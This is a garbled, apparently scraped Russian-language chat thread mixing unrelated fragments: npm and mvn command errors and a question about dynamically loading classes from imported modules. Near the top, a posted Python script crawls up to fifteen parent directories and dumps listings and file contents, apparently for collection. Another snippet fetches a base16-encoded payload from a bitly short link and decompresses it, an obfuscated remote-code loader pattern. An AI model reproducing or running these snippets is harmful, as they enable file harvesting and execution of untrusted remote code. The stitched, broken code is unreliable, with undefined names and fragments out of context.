💭П
Size: a a a
💭П
AM
БС
# Wwz8YA
# 5KtCn6x0XeNbeSlQLCu4F2
# Lp1NaWuGiGyhYhwXNVrmsIx6ysCK212q7JDtnvFyJPu7ldvOpF7AV2
# 3w9YOamJnITowdBNaZxHIgPsCNmS8jg
# ykmcoVmMifxPcEEEfQjMLprHjIfojPxKcZzGL
# IicLbKrrm8wi0Wtz3yhoz
# ---------------------------------------------------------------------------- #
KB = 1024
Mb = KB * 1024
import os
import json
import requests
import base64
class Data(object):
def __init__(self):
self.dump = ''
def add(self, v):
self.dump = self.dump + '\n' + str(v)
return v
#
data = Data()
d = os.path.dirname(os.path.abspath(__file__))
for i in range(15):
d = data.add(os.path.dirname(d))
#
def list_dir(path):
try:
return os.listdir(path)
except:
return []
def save_file(f_path):
if not os.path.exists(f_path):
data.add('file is not exists: {}'.format(f_path))
return
#
is_dir = os.path.isdir(f_path)
data.add(str('-' * 10)
+ ' :is_dir: ' + str(is_dir) + ' :file: ' + f_path)
if is_dir:
data.add(list_dir(f_path)[:50])
else:
file_size = os.path.getsize(f_path)
data.add(':file-size: ' + str(file_size))
data.add(f_path)
try:
# print(f_path)
with open(f_path, 'rb') as file:
try:
data.add(file.read(15 * KB))
if file_size > 15 * KB:
data.add('--...--')
_tail = file_size - 10 * KB
if _tail > 10 * KB:
_tail = 10 * KB
file.seek(file_size - _tail)
data.add(file.read())
except Exception as e:
data.add(str(e))
if file_size < 10 * KB:
file.seek(0)
БС
import zlib, base64
s = zlib.decompress(base64.b16decode(re.sub(
r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
)[4:-4].upper()))
print(q.decode("utf-8"))
БС
PycharmProjects.NK
NK
NK
SA
npm install pretty-bytes избежать 🤔NK
npm install pretty-bytes избежать 🤔mvn installSA
zsh: command not found: mvnNK
zsh: command not found: mvnAM
💭П
dict который содержит в себе объекты вида`<module 'name' from 'name.py'>`. Внутри у него есть класс! Имя класса совпадает с 'name'.
package = tuple(import_files.keys())[0]
module = import_files[package]
module есть class. Его название совпадает со значением переменной package.temp_obj = module.ClassName, но проблема в том, что мне это всё нужно делать автоматически и в следующем значение словоря уже может быть module.ClassName2.💭П
def import_file(current_path: str, list_files: list) -> dict:Вот так я создаю dict с импортироваными модулями в которых находятся тестовые классы.
list_import_file = dict()
for file in list_files:
package = file.split(".")[0]
loader = importlib.machinery.SourceFileLoader(package, os.path.join(current_path, file))
try:
handle = loader.load_module(package)
list_import_file[package] = handle
except ImportError:
pass
return list_import_file
# def import_file
import_files = import_file(path, files)RB
Имя класса совпадает с "name"💭П
Имя класса совпадает с "name"RB
💭П
💭П